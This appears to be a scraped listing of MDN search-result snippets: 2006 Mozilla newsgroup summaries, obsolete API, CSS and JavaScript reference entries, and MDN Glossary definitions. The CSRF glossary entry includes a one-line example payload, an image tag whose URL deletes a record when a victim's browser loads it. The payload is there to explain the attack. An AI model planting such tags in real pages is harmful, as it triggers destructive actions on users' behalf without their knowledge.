exact cause is unknown but may be related to multiprocessor platforms.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.builds - october 7th to october 13th 2006 cannot build ff 1.5.0.7 on linux x86_64 werner flamme cannot build firefox 1.5.0.7 on his suse linux 10.0 x86_64 box.
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.i18n - feb 2nd - sep 22nd, 2006 announcements testing a dummy greek bon echo nsis installer bug #69230: accelerators should not be affected by keyboard group/level proposal of code changes for l10n in firefox 3 discussions thai language support: how can we add thai as an official localized build?
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.l10n - october 13, 2006 announcements seamonkey 1.0.5 he-il seamonkey 1.0.5 in hebrew was released a while ago firefox 2 rc2 is out firefox 2 rc2 is out, to download click here sunbird_0_3_release tag being created sunbird_0_3_release tag being created seamonkey 1.1 localization freeze and beta upcoming there are no open blockers left.
2006-10-27 - Archive of obsolete content
alternative german locale while the alternative locale is active, the auto update of firefox stops working.
2006-09-22 - Archive of obsolete content
discussions discussion of l10n builds some discussion about the firefox 2 rc1 l10n builds happened, including why some locales are missing.
2006-10-13 - Archive of obsolete content
firefox feature brainstorming you can help suggest features for firefox 3 here meetings project meeting a project meeting was held on oct.
2006-10-20 - Archive of obsolete content
firefox 2 release candidate 3 is now available for download ff2 rc3 available for download.
mozilla-dev-platform - Archive of obsolete content
about newsgroup summary for mozilla.dev.platform (google groups link) is for people working on the mozilla application framework ("mozilla-the-platform").
2006-10-06 - Archive of obsolete content
any test case ideas specific to vista are welcomed.
2006-10-20 - Archive of obsolete content
there are a few concerns with the software updates, and a decision is required on this before a "go" for rc3 release can be given.
2006-11-03 - Archive of obsolete content
discussions none meetings community test day - on friday, november 3, 2006 another community test day focusing on security and stability release, and you can help by verifying bugs, and by running the litmus test cases under the ffts or the bfts.
2006-11-24 - Archive of obsolete content
robcee, rhelmer, and bsmedberg are the possible candidates.
2006-09-29 - Archive of obsolete content
discussions file: vs resource: vs chrome: from a security point of view boris zbarsky gives a summary the current setup for checkloaduri (which type of security principal can load what) and asks for comments about whether that is the desired behaviour.
2006-11-17 - Archive of obsolete content
discussions js_addnamedroot a user is wondering where and when he would need to call js_addnamedroot in c code.
2006-11-24 - Archive of obsolete content
frank hecker writes: the possibility of having a gpl-only mozilla code would cause problems such as people who want to distribute mozilla based products with: non-gpl compatible extensions free proprietary extensions such as flash player using trademarks such as logos ...
2006-11-17 - Archive of obsolete content
nightly builds, instructions and the current list of known regressions on the branch can be found at: http://wiki.mozilla.org/gecko:reflow...ng#quick_links.
2006-11-24 - Archive of obsolete content
discussions backed out view manager hierarchy unification discussion aboutthe view manager hierarchy unification and the problems with tp regressions that occuring whenever update batching interacts it.
2006-09-06 - Archive of obsolete content
how to build xpcom component on mac os x a tutorial on how to build xpcom component on mac os x firefox crashes when calling a function provided by a .so library a solution to the problem loading a shared library when using xpcom firefoxes crashes while getting url in xpcom solutions to resolve the problem of the firefox crash when trying to get the path and the prepath of the url of the current page in xpcom meetings none during this week.
2006-10-27 - Archive of obsolete content
discussions evalinsandbox and xmlhttprequest a discussion about writing something that calls a function defined by the page that the user is currently on chrome files and last modified date ways to retrieve the last modified date of a chrome file that may be in a jar or on the file system.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 04-nov 10, 2006 announcements xptcall changes in process - ports owners needed if you maintain an xptcall port, you are needed to submit a patch to that bug 349002 with xptcall updates.
2006-11-24 - Archive of obsolete content
discussions tutorials: non c++ bindings for xpcom tutorials on how to interface with firefox using xpcom on a similar basis to how a developer can with internet explorer through it's com interface tutorals and references related to extension development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the htt...
2006-10-20 - Archive of obsolete content
neil notes that the format of localstore has changed from previous versions and that "persist" is not functioning properly using the new format.
mozilla.dev.tech.js-engine - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Newsgroup summaries - Archive of obsolete content
formatmozilla.dev.apps.firefox-2006-09-29mozilla.dev.apps.firefox-2006-10-06mozilla.dev.apps.calendarmozilla.dev.tech.js-enginemozilla-dev-accessibilitymozilla-dev-apps-calendarmozilla-dev-apps-firefoxmozilla-dev-apps-thunderbirdmozilla-dev-buildsmozilla-dev-embeddingmozilla-dev-extensionsmozilla-dev-i18nmozilla-dev-l10nmozilla-dev-planningmozilla-dev-platformmozilla-dev-qualitymozilla-dev-securitymozilla-dev-tech-js-enginemozilla-dev-tech-layoutmozilla-dev-tech-xpcommozilla-dev-tech-xul ...
NPN_GetIntIdentifier - Archive of obsolete content
description all calls for the same integer are guaranteed to return the same exact identifier.
NPN_GetStringIdentifier - Archive of obsolete content
description all calls for the same string are guaranteed to return the same exact identifier.
NPN_GetStringIdentifiers - Archive of obsolete content
description as is the case with npn_getstringidentifier(), all calls for the same strings are guaranteed to return the same exact identifiers.
NPN_ReleaseObject - Archive of obsolete content
if the reference count reaches 0, the npobject is deallocated by calling its deallocate function if one is provided; if one is not provided, free() is used.
NPN_SetException - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary a plugin can call this function to indicate that a call to one of the plugin's npobjects generated an error.
NPN_UTF8FromIdentifier - Archive of obsolete content
description once the caller is done with the returned string, the caller is responsible for deallocating the memory used by the string by calling npn_memfree().
NPP_GetValue - Archive of obsolete content
variable variable for which the browser (caller) would like a value.
NPP_SetValue - Archive of obsolete content
this call is used to inform plugins of variable information controlled by the browser.
NPString - Archive of obsolete content
note: whenever an npstring owns its string data and the data may be released through a call to npn_releasevariantvalue(), the string data must be allocated using npn_memalloc().
NPAPI plug-in side API - Archive of obsolete content
the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser.
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
people can (potentially) post new comments to an item at any given time.
Article - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Atomic RSS - Archive of obsolete content
ArchiveRSSModuleAtom
documentation selected articles atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements.
Well-Formed Web - Archive of obsolete content
documentation selected articles why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments (2005-08-22).
Other Resources - Archive of obsolete content
all other resources dave winer's rss weblog dave winer's rss 2.0 political faq ...
0.91 - Archive of obsolete content
ArchiveRSSVersion0.91
rss 0.91 there are 3 different version of rss 0.91: netscape's rss 0.91 (revision 1) netscape's rss 0.91 revision 3 userland's rss 0.91 ...
Element - Archive of obsolete content
rss elements a <author> (rss author element) b c <category> (rss category element) <channel> (rss channel element) <cloud> (rss cloud element) <comments> (rss comments element) <copyright> (rss copyright element) d <day> (rss day element) <description> (rss description element) <docs> (rss docs element) e <enclosure> (rss enclosure element) f g <generator> (rss generator element) <guid> (rss guid element) h <height> (rss height element) <hour> (rss hour element) i <image> (rss image element) <item> (rss item element) j k l <language> (rss language element) <lastbuilddate> (rss last build date element) <link> (rss link element) m <managingeditor> (rss managing editor element) n <name> (rss name element) o p <pubdate> (rss ...
Themes - Archive of obsolete content
building a themecommon firefox theme issues and solutionscreating a skin for firefoxuuidcontents.rdfinstall.rdfmaking sure your theme works with rtl localestheme changes in firefox 2theme changes in firefox 3theme changes in firefox 3.5theme changes in firefox 4 ...
References - Archive of obsolete content
<- previous section: summary of changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
-moz-text-blink - Archive of obsolete content
formal syntax none | blink example .example { -moz-text-blink: blink; } specifications this property was defined in an old draft of the css 3 text specification.
-moz-window-shadow - Archive of obsolete content
this property is not standard and from firefox 44 onwards cannot be used on websites anymore.
-ms-content-zoom-chaining - Archive of obsolete content
formal syntax none | chained specifications not part of any specification.
-ms-content-zoom-limit-max - Archive of obsolete content
formal syntax <percentage> specifications not part of any specification.
-ms-content-zoom-limit-min - Archive of obsolete content
formal syntax <percentage> specifications not part of any specification.
-ms-content-zoom-limit - Archive of obsolete content
formal syntax <'-ms-content-zoom-limit-min'> <'-ms-content-zoom-limit-max'> specifications not part of any specification.
-ms-content-zoom-snap - Archive of obsolete content
formal syntax <'-ms-content-zoom-snap-type'> | <'-ms-content-zoom-snap-points'> specifications not part of any specification.
-ms-flow-from - Archive of obsolete content
formal syntax [ none | <custom-ident> ]# specifications not part of any specification.
-ms-flow-into - Archive of obsolete content
formal syntax [ none | <custom-ident> ]# specifications not part of any specification.
-ms-scroll-rails - Archive of obsolete content
formal syntax none | railed specifications not part of any specification.
-ms-scroll-snap-x - Archive of obsolete content
.scroll1 { -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); } .scroll2 { -ms-scroll-snap-x: proximity snaplist(100%, 200%, 300%, 400%, 500%); } specifications not part of any specification.
-ms-scroll-snap-y - Archive of obsolete content
.scroll1 { -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-y: snapinterval(0, 100%); } .scroll2 { -ms-scroll-snap-y: mandatory snapinterval(0, 100%); } specifications not part of any specification.
-ms-scrollbar-track-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
:-moz-system-metric(scrollbar-end-backward) - Archive of obsolete content
specifications not part of any specification.
:-moz-system-metric(scrollbar-end-forward) - Archive of obsolete content
specifications not part of any specification.
:-moz-system-metric(scrollbar-start-backward) - Archive of obsolete content
specifications not part of any specification.
:-moz-system-metric(scrollbar-start-forward) - Archive of obsolete content
specifications not part of any specification.
:-moz-system-metric(touch-enabled) - Archive of obsolete content
specifications not part of any specification.
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
hemes, #nondefaultthemes { background-color: #ffa0a0; } #defaultthemes:-moz-system-metric(windows-default-theme) { background-color: #a0ffa0; } #nondefaultthemes:not(-moz-system-metric(windows-default-theme)) { background-color: #a0ffa0; } #notsupported:-moz-system-metric(windows-default-theme), #notsupported:not(:-moz-system-metric(windows-default-theme)) { display: none; } specifications not part of any specification.
::-ms-ticks-after - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-ticks-after in its selector.
::-ms-ticks-before - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-ticks-before in its selector.
::-ms-tooltip - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-tooltip in its selector.
::-ms-track - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-track in its selector.
-moz-mac-graphite-theme - Archive of obsolete content
the -moz-mac-graphite-theme gecko-only css media feature can be used to apply styles based on whether the user has the mac os x "graphite" theme enabled.
-moz-maemo-classic - Archive of obsolete content
the -moz-maemo-classic gecko-only css media feature can be used to apply styles based on whether the user agent is using the original maemo theme.
-moz-windows-accent-color-in-titlebar - Archive of obsolete content
the -moz-windows-accent-color-in-titlebar gecko-only css media feature can be used to apply styles based on whether accent colors are enabled in microsoft windows titlebars.
E4X - Archive of obsolete content
ArchiveWebE4X
the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html comment literals (<!--...-->) are ignored for backwards compatibility with the comment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (which leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections).
Iterator - Archive of obsolete content
{ console.log(name); // x // y } passing generator instance function* f() { yield 'a'; yield 'b'; } var g = f(); console.log(g == iterator(g)); // true for (var v in iterator(g)) { console.log(v); // a // b } passing iterator instance var a = { x: 10, y: 20, }; var i = iterator(a); console.log(i == iterator(i)); // true specifications non-standard.
Function.arity - Archive of obsolete content
specifications not part of any standard.
Debug.write - Archive of obsolete content
the debug.write function is almost identical to the debug.writeln function.
Debug.writeln - Archive of obsolete content
the debug.writeln function is almost identical to the debug.write function.
Enumerator.atEnd - Archive of obsolete content
the enumerator.atend method returns a boolean value indicating if the enumerator is at the end of the collection.
Error.description - Archive of obsolete content
try { // cause an error: x = y } catch(e) { // prints "[object error]": document.write(e) document.write (" "); // prints 5009: document.write((e.number & 0xffff)) document.write (" "); // prints "'y' is undefined": document.write(e.description); document.write (" "); // prints "'y' is undefined": document.write(e.message) } requirements supported in the following document ...
ScriptEngine() - Archive of obsolete content
syntax scriptengine() remarks the scriptengine function returns "jscript", which indicates that javascript is the current scripting engine.
@cc_on - Archive of obsolete content
it is not common to use conditional compilation variables in scripts written for asp or asp.net pages or command-line programs because the capabilities of the compilers can be determined by using other methods.
New in JavaScript 1.6 - Archive of obsolete content
array.prototype.indexof() array.prototype.lastindexof() array.prototype.every() array.prototype.filter() array.prototype.foreach() array.prototype.map() array.prototype.some() array generics string generics for each...in changed functionality in javascript 1.6 a bug in which arguments[n] cannot be set if n is greater than the number of formal or actual parameters has been fixed.
New in JavaScript 1.8.1 - Archive of obsolete content
javascript 1.8.1 is a modest update syntactically to javascript; the main change in this release is the addition of the tracemonkey just-in-time compiler, which improves performance.
Object.prototype.__count__ - Archive of obsolete content
syntax obj.__count__ examples { 1: 1 }.__count__ // 1 [].__count__ // 0 [1].__count__ // 1 [1, /* hole */, 2, 3].__count__ // 3 specifications not part of any standard.
Object.prototype.__parent__ - Archive of obsolete content
specifications not part of any standard.
LiveConnect Reference - Archive of obsolete content
java-to-javascript global objects java packages netscape sun javaarray javaclass javaobject javapackage ...
java - Archive of obsolete content
you can automatically access it without using a constructor or calling a method.
sun - Archive of obsolete content
you can automatically access it without using a constructor or calling a method.
StopIteration - Archive of obsolete content
} for (var n in f()) { console.log(n); // 1 // 2 } specifications non-standard.
XForms API Reference - Archive of obsolete content
note the word beginning :-) naming convention the xforms interfaces has the following naming convention: nsixforms...element interfaces implemented by the c++ part of a control nsixformsns...element interfaces extending xforms specification interfaces nsixforms...uielement interfaces implemented by the js part of a control nsixforms...accessors interface exposing states about the bound instance node for a given control frozen interfaces nsixformsmodelelement the model interface experimental interfaces nsixformsdelegate the delegate interface for xforms:custom_controls nsixformsaccessors the accessors interface for xforms:...
XForms Custom Controls Examples - Archive of obsolete content
a full example showing a complete form can be found on xforms:custom_controls.
Other Resources - Archive of obsolete content
all other resources offical mozilla xforms project page w3c test suite xformstest.org ...
XForms Secret Element - Archive of obsolete content
type restrictions the secret element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these.
XForms Textarea Element - Archive of obsolete content
type restrictions the textarea element can be bound to a node of type xsd:string or any type derived from it.
Community - Extensions
mozillazine extensions & themes forum #extdev channel on moznet irc network — extension development questions #addons channel on moznet irc network — questions about http://addons.mozilla.org mozdev project owners mailing list mozillazine knowledge base allyourideas — ideas for extensions ((really needs a unique captcha)) babelzilla — a community for developers and translators of extension for mozilla applications ...
Async scripts for asm.js - Game development
in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28).
Touch Event Horizon - Game development
this article is for touch event horizon and a game related to it touch gestures and events link the example game github repository live demo setting up the canvas counting the taps touchstart, touchend collecting the bonus touchmove future developments summary this tutorial shows how to use touch events to create a game on a <canvas>.
404 - MDN Web Docs Glossary: Definitions of Web-related terms
a 404 is a standard response code meaning that the server cannot find the requested resource.
ARIA - MDN Web Docs Glossary: Definitions of Web-related terms
aria (accessible rich internet applications) is a w3c specification for adding semantics and other metadata to html to cater to users of assistive technology.
ASCII - MDN Web Docs Glossary: Definitions of Web-related terms
ascii (american standard code for information interchange) is one of the most popular coding method used by computers for converting letters, numbers, punctuation and control codes into digital form.
ATAG - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge atag as part of the web accessibility initiative on wikipedia technical reference authoring tool accessibility guidelines (atag) overview the atag 2.0 recommendation ...
Apple Safari - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge safari on wikipedia safari on apple.com technical information the webkit project webkit nightly build reporting a bug for safari ...
Argument - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge difference between parameter and argument on wikipedia technical reference the arguments object in javascript ...
Attribute - MDN Web Docs Glossary: Definitions of Web-related terms
<input required> <!-- is the same as… --> <input required=""> <!-- or --> <input required="required"> learn more technical reference html attribute reference information about html's global attributes ...
Bandwidth - MDN Web Docs Glossary: Definitions of Web-related terms
bandwidth is the measure of how much information can pass through a data connection in a given amount of time.
Blink - MDN Web Docs Glossary: Definitions of Web-related terms
specifically, blink began as a fork of the webcore library in webkit, which handles layout, rendering, and dom, but now stands on its own as a separate rendering engine.
Block (scripting) - MDN Web Docs Glossary: Definitions of Web-related terms
for example, you can put a block of statements after an if (condition) block, indicating that the interpreter should run the code inside the block if the condition is true, or skip the whole block if the condition is false.
Boot2Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
(firefox os was also often called boot2gecko before the project had an official name.) ...
CIA - MDN Web Docs Glossary: Definitions of Web-related terms
cia (confidentiality, integrity, availability) (also called the cia triad or aic triad) is a model that guides an organization's policies for information security.
CORS-safelisted response header - MDN Web Docs Glossary: Definitions of Web-related terms
by default, the safelist includes the following response headers: cache-control content-language content-type expires last-modified pragma examples extending the safelist you can extend the list of cors-safelisted response headers by using the access-control-expose-headers header: access-control-expose-headers: x-custom-header, content-length ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
this can be done, for example, by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com.
Closure - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge closure on wikipedia technical reference closure on mdn ...
Codec - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge codec on wikipedia technical reference web video codec guide web audio codec guide guide to media types and formats on the web ...
Conditional - MDN Web Docs Glossary: Definitions of Web-related terms
a condition is a set of rules that can interrupt normal code execution or change it, depending on whether the condition is completed or not.
Copyleft - MDN Web Docs Glossary: Definitions of Web-related terms
copyleft is a term, usually referring to a license, used to indicate that such license requires that redistribution of said work is subject to the same license as the original.
Cross Axis - MDN Web Docs Glossary: Definitions of Web-related terms
in the case of a multi-line flex container, with additional space on the cross axis, you can use align-content to control the spacing of the rows.
Cryptanalysis - MDN Web Docs Glossary: Definitions of Web-related terms
in addition to traditional methods like frequency analysis and index of coincidence, cryptanalysis includes more recent methods, like linear cryptanalysis or differential cryptanalysis, that can break more advanced ciphers.
DNS - MDN Web Docs Glossary: Definitions of Web-related terms
dns (domain name system) is a hierarchical and decentralized naming system for internet connected resources.
DTMF (Dual-Tone Multi-Frequency signaling) - MDN Web Docs Glossary: Definitions of Web-related terms
few telephone keypads include the letters, which are typically used for control signaling by the telephone network.
Data structure - MDN Web Docs Glossary: Definitions of Web-related terms
data structure is a particular way of organizing data so that it can be used efficiently.
Deserialization - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, for example, you can deserialize a json string to an object by calling the function json.parse().
Domain - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in "developer.mozilla.org": "org" is called a top-level domain.
Dynamic typing - MDN Web Docs Glossary: Definitions of Web-related terms
dynamically-typed languages are those (like javascript) where the interpreter assigns variables a type at runtime based on the variable's value at the time.
Element - MDN Web Docs Glossary: Definitions of Web-related terms
a typical element includes an opening tag with some attributes, enclosed text content, and a closing tag.
Expando - MDN Web Docs Glossary: Definitions of Web-related terms
expando properties are properties added to dom nodes with javascript, where those properties are not part of the object's dom specification: window.document.foo = 5; // foo is an expando the term may also be applied to properties added to objects without respecting the object's original intent, such as non-numeric named properties added to an array.
FTU - MDN Web Docs Glossary: Definitions of Web-related terms
you can use ftu to set many important options (e.g.
Fallback alignment - MDN Web Docs Glossary: Definitions of Web-related terms
in css box alignment, a fallback alignment is specified in order to deal with cases where the requested alignment cannot be fullfilled.
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
note, however, that most modern browsers replaced the favicon from the address bar by an image indicating whether or not the website is using https.
Fetch directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp fetch directives are used in a content-security-policy header and control locations from which certain resource types may be loaded.
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
these header names are prefixed with sec- and thus they are forbidden header names so headers can not be modified from javascript.
First contentful paint - MDN Web Docs Glossary: Definitions of Web-related terms
the first contentful paint time stamp is when the browser first rendered any text, image (including background images), non-white canvas or svg.
First interactive - MDN Web Docs Glossary: Definitions of Web-related terms
this metric has been called first cpu idle since lighthouse 3.0 ...
Flex Container - MDN Web Docs Glossary: Definitions of Web-related terms
a value of flex causes the element to become a block level flex container, and inline-flex an inline level flex container.
Gzip compression - MDN Web Docs Glossary: Definitions of Web-related terms
gzip is commonly supported by web servers and modern browsers, meaning that servers can automatically compress files with gzip before sending them, and browsers can uncompress files upon receiving them.
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge memory management on wikipedia garbage collection on wikipedia technical reference garbage collection in the mdn javascript guide.
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
er"> <div class="item1">item</div> <div class="item2">item</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns grid-template-areas grid-area further reading css grid layout guide: basic concepts of grid layout css grid layout guide: grid template areas definition of grid areas in the css grid layout specification ...
Grid container - MDN Web Docs Glossary: Definitions of Web-related terms
the direct children can now lay themselves out on any explicit grid defined using grid-template-columns and grid-template-rows, or on the implicit grid created when an item is placed outside of the explicit grid.
Grid Row - MDN Web Docs Glossary: Definitions of Web-related terms
these rows will be auto sized by default, or can have a size specified with the grid-auto-rows property.
HPKP - MDN Web Docs Glossary: Definitions of Web-related terms
http public key pinning (hpkp) is a security feature that tells a web client to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates.
HSTS - MDN Web Docs Glossary: Definitions of Web-related terms
http strict transport security lets a web site inform the browser that it should never load the site using http and should automatically convert all attempts to access the site using http to https requests instead.
Hyperlink - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge hyperlink on wikipedia the hyperlink guide on mdn technical reference links in html documents - w3c html5 a - hyperlink - w3c learn about it <a> on mdn <link> on mdn ...
Hypertext - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge hypertext on wikipedia technical reference hypertext information base ...
IANA - MDN Web Docs Glossary: Definitions of Web-related terms
iana (internet assigned numbers authority) is a subsidiary of icann charged with recording and/or assigning domain names, ip addresses, and other names and numbers used by internet protocols.
IDE - MDN Web Docs Glossary: Definitions of Web-related terms
an integrated development environment (ide) or interactive development environment is a software application that provides comprehensive facilities to computer programmers for software development.
IETF - MDN Web Docs Glossary: Definitions of Web-related terms
the internet engineering task force (ietf) is a worldwide organization that drafts specifications governing the mechanisms behind the internet, especially the tcp/ip or internet protocol suite.
IMAP - MDN Web Docs Glossary: Definitions of Web-related terms
clients accessing a mailbox can receive information about state changes made from other clients.
IP Address - MDN Web Docs Glossary: Definitions of Web-related terms
"ip address" typically still refers to 32-bit ipv4 addresses until ipv6 is deployed more broadly.
IRC - MDN Web Docs Glossary: Definitions of Web-related terms
the irc server broadcasts messages to everyone connected to one of many irc channels (each with their own id).
ISP - MDN Web Docs Glossary: Definitions of Web-related terms
an isp (internet service provider) sells internet access, and sometimes email, web hosting, and voice over ip, either by a dial-up connection over a phone line (formerly more common), or through a broadband connection such as a cable modem or dsl service.
Identifier - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, identifiers are case-sensitive and can contain unicode letters, $, _, and digits (0-9), but may not start with a digit.
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
learn more the indexeddb api on mdn the w3c specification for indexeddb ...
Information architecture - MDN Web Docs Glossary: Definitions of Web-related terms
information architecture, as applied to web design and development, is the practice of organizing the information / content / functionality of a web site so that it presents the best user experience it can, with information and services being easily usable and findable.
Jank - MDN Web Docs Glossary: Definitions of Web-related terms
jank refers to sluggishness in a user interface, usually caused by executing long tasks on the main thread, blocking rendering, or expending too much processor power on background processes.
Keyword - MDN Web Docs Glossary: Definitions of Web-related terms
webpages also use keywords in a meta tag (in the <head> section) to describe page content, so search engines can better identify and organize webpages.
Latency - MDN Web Docs Glossary: Definitions of Web-related terms
latency can be a factor in any kind of data flow, but is most commonly discussed in terms of network latency (the time it takes for a packet of data to travel from source to destination) and media codec latency (the time it takes for the source data to be encoded or decoded and reach the consumer of the resulting data).
Lazy load - MDN Web Docs Glossary: Definitions of Web-related terms
lazy loading is a strategy that delays the loading of some assets (e.g., images) until they are needed by the user based on the user's activity and navigation pattern; typically, these assets are only loaded when they are scrolled into view.
Ligature - MDN Web Docs Glossary: Definitions of Web-related terms
you can implement ligatures in your webpage with font-variant-ligatures.
Lossless compression - MDN Web Docs Glossary: Definitions of Web-related terms
examples of lossless compression include gzip, brotli, webp, and png, lossy compression, on the other hand, uses inexact approximations by discarding some data from the original file, making it an irreversible compression method.
Media - MDN Web Docs Glossary: Definitions of Web-related terms
media (css) in the context of css (cascading style sheets), the term media refers to the destination to which the document is to be drawn by the rendering engine.
Metadata - MDN Web Docs Glossary: Definitions of Web-related terms
for example, an html document is data, but html can also contain metadata in its <head> element that describes the document — for example who wrote it, and its summary.
Microsoft Edge - MDN Web Docs Glossary: Definitions of Web-related terms
microsoft edge is a free-of-cost graphical web browser bundled with microsoft windows and developed by microsoft since 2014.
Mixin - MDN Web Docs Glossary: Definitions of Web-related terms
the advantage of mixins is that they can be used to simplify the design of apis in which multiple interfaces need to include the same methods and properties.
Mozilla Firefox - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge mozilla firefox official website technical reference firefox developer documentations on mdn ...
NAT - MDN Web Docs Glossary: Definitions of Web-related terms
nat assigns unique addresses to each computer on the local network and adjusts incoming/outgoing network traffic to send data to the right place.
NNTP - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge nntp at wikipedia technical reference from the ietf: rfc 3977 about nntp (2006) ...
Namespace - MDN Web Docs Glossary: Definitions of Web-related terms
namespace is a context for identifiers, a logical grouping of names used in a program.
Node (DOM) - MDN Web Docs Glossary: Definitions of Web-related terms
GlossaryNodeDOM
learn more technical reference the node tree whatwg spec ...
Node (networking) - MDN Web Docs Glossary: Definitions of Web-related terms
in physical networks, a node is usually a device, like a computer or a router.
Number - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: number the javascript global object number ...
OOP - MDN Web Docs Glossary: Definitions of Web-related terms
oop (object-oriented programming) is an approach in programming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts.
OTA - MDN Web Docs Glossary: Definitions of Web-related terms
all device owners receiving a given set of updates are on the same "channel", and each device often can access several channels (e.g.
OWASP - MDN Web Docs Glossary: Definitions of Web-related terms
owasp (open web application security project) is a non-profit organization and worldwide network that works for security in free software, especially on the web.
Object - MDN Web Docs Glossary: Definitions of Web-related terms
objects sometimes refer to real-world things, for example a car or map object in a racing game.
Object reference - MDN Web Docs Glossary: Definitions of Web-related terms
object references can be used exactly like the linked objects.
P2P - MDN Web Docs Glossary: Definitions of Web-related terms
p2p is commonly found in blockchain applications.
PAC - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge pac on wikipedia technical reference proxy auto-configuration file on mdn ...
POP3 - MDN Web Docs Glossary: Definitions of Web-related terms
pop3 does not support folders, unlike the more recent imap4, which is harder to implement because of its more complex structure.
Page load time - MDN Web Docs Glossary: Definitions of Web-related terms
load times can vary greatly between users depending on device capabilities, network conditions, and, to a lesser extent, distance from the server.
Placeholder names - MDN Web Docs Glossary: Definitions of Web-related terms
placeholder names are commonly used in cryptography to indicate the participants in a conversation, without resorting to terminology such as "party a," "eavesdropper," and "malicious attacker." the most commonly used names are: alice and bob, two parties who want to send messages to each other, occasionally joined by carol, a third participant eve, a passive attacker who is eavesdropping on alice and bob's conversation mallory, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages ...
Plaintext - MDN Web Docs Glossary: Definitions of Web-related terms
it is frequently used interchangeably with the term cleartext, which more loosely refers to any information, such as a text document, image, etc., that has not been encrypted and can be read by a human or computer without additional processing.
Port - MDN Web Docs Glossary: Definitions of Web-related terms
for a computer connected to a network with an ip address, a port is a communication endpoint.
Prototype - MDN Web Docs Glossary: Definitions of Web-related terms
a prototype is a model that displays the appearance and behavior of an application or product early in the development lifecycle.
Pseudo-class - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference pseudo-class documentation ...
Pseudocode - MDN Web Docs Glossary: Definitions of Web-related terms
pseudocode refers to code-like syntax that is generally used to indicate to humans how some code syntax works, or illustrate the design of an item of code architecture.
Python - MDN Web Docs Glossary: Definitions of Web-related terms
it was created by guido van rossum as a successor to another language (called abc) between 1985 and 1990, and is currently used on a large array of domains like web development, desktop applications, data science, devops, and automation/productivity.
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
examples the following syntax text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 indicates the order of priority: value priority text/html and application/xhtml+xml 1.0 application/xml 0.9 */* 0.8 if there is no priority defined for the first two values, the order in the list is irrelevant.
Quaternion - MDN Web Docs Glossary: Definitions of Web-related terms
while mathematical quaternions are more involved than this, the unit quaternions (or rotational quaternions) used to represent rotation while using webgl or webxr, for example, are represented using the same syntax as a 3d point.
RDF - MDN Web Docs Glossary: Definitions of Web-related terms
rdf provides a standard way of encoding resource information so that it can be exchanged in a fully automated way between applications.
RTSP: Real-time streaming protocol - MDN Web Docs Glossary: Definitions of Web-related terms
